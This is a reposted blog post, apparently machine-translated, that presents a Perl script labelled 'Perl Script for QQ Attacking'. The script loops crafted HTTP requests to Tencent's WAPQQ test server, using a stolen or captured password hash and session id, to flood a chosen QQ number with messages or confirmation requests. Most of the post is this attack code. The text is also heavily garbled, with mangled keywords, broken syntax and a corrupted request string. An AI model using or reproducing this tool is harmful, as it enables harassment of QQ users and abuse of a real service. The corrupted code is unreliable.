An Exploit instance implemented with Perl

xiaoxiao2021-03-06  45

The program that was previously rewritten when trying to attack, and now it may be some useful for some friends. The content is very simple, introduced with external parameters, and then enable the socket session as required, this example is HTTP. #! / usr / bin / perl # coded by roy #Script for QQ Attacking

$ | = 1; use socket; user getopt :: std; # Get external parameters getopt ('AyTGKL');

Print "/ n =============================================== ===== / n "; Print" Perl Script for QQ Attacking / N "; Print" Coded by Roy / N "; Print" Visit: luoyi.com & C4st.cn / N " ; print "=============================================================================================================================================================== ==== / n ";

# 参 参 不 符 要求 要求 则 使用 使用 使用;; (US);

# Assign an external parameter to the internal variable $ mode = $ OPT_A; $ TIME = $ OPT_L || 1; $ uRQQ = $ OPT_Y; $ TARG = $ OPT_T; $ PG = $ OPT_G; $ PK = $ OPT_K;

# Define the server used in the attack, waptest.tencent.com is the server for WAPQQ free experience, $ host = "waptest.tencent.com"; $ port = 80;

# Use the "verification request" to attack if ($ Mode EQ "C") {print "attacking ..."; for ($ i = 1; $ I <= $ TIME; $ I ) {& attack2; }print "/ NDONE!. ";} # with" normal message "to attack Elsif ($ Mode EQ" N ") {print" attacking ... "; for ($ I = 1; $ I <= $ TIME; $ i ) { & attic1;} print "/ ndone!";} else {& usage}; # "Normal Message" mode attack function, the attacker will receive information similar to "10001 is coming", if you want to modify the information, please modify the psendmsg Variable Sub attack1 {$ req = "get /cgi-bin/wapqq @chat.cgi?pc=11&pq= $urqqqq=targ&pk= $ ₹%% 203456789898999999989894567898955567898989896 Accept: text / vnd.wap.wml, application / vnd.wap.wmlc, image / vnd.wap.wbmp, image / gif, image / jpeg, text / vnd.wap.wmlscript, Application / VND.WAP. Wmlscriptc / n "." User-agent: C4ST (^ - ^) / n "." Host: Waptest.tencent.com/N "." / n / n "; print" / n "; sendraw ($ REQ) }

# "Verification Request" method attack function, the attacker will receive information similar to "10001 is coming", if you want to modify the information content, modify the PConfirminfo variable Sub attck2 {$ req = "Get /cgi-bin/wapqqq_chat.cgi ? Pc = 27 & Pq = $ urqq & Pg = $ pg & Poq = $ targ & Pk = $ pk & PConfirmInfo = $ urqq% 20Is% 20Coming & PMisc_mid = 123456789 & stn = gmcc_try HTTP / 1.1 / n Accept ".": text / vnd.wap.wml, application / vnd.wap .wmlc, image / vnd.wap.wbmp, image / gif, image / jpeg, text / vnd.wap.wmlscript, application / vnd.wap.wmlscriptc / n "." User-Agent: C4ST (^ - ^) / n "." Host: Waptest.tencent.com/N "." / n / n "; Print" / n "; sendraw ($ req);}

# Display function, PG and PK values ​​to view source code after logging in to WAPQQ, get SUB USAGE {Print QQ ~ USAGE: $ 0 -a -l -y -t -pg -pk -a = attack mode, choose "n" for normal QQ MSG TYPE, or Choose "C" for confirm QQ MSG TYPE -l = loops of attacking, the title to attack the target -y = your qq number -t = target to attack, qq number -g = pg for your wapqq (1) -k = pk for your session (1)

(1) HOWTO GET PG AND PK:

PG is your QQ password's hash used in WAPQQ site.PK is the session id for your current visiting at WAPQQ site.You can get them once you logged on WAPQQ via your mobile, wap browser (eg.WinWAP) or wap2web service (eg. Http://www.easywap.ch/wap2web.html ).~;Exit;

# Socket Function Sub sendraw {MY ($ REQ) = @__; $ target; $ target = inet_aton ($ host) || DIE ("inet_aton problems / n"); socket (s, pf_inet, sock_stream, getprotobyname (' TCP ') || 0) || Die ("socket problems / n"); IF (Connect (S, Pack "SNA4x8", 2, $ Port, $ Target) {SELECT (S); $ | = 1; Print $ Req; Close (s); Return True;} else {DIE ("can't connect ... / n");}}

转载请注明原文地址:https://www.9cbs.com/read-58482.html

New Post(0)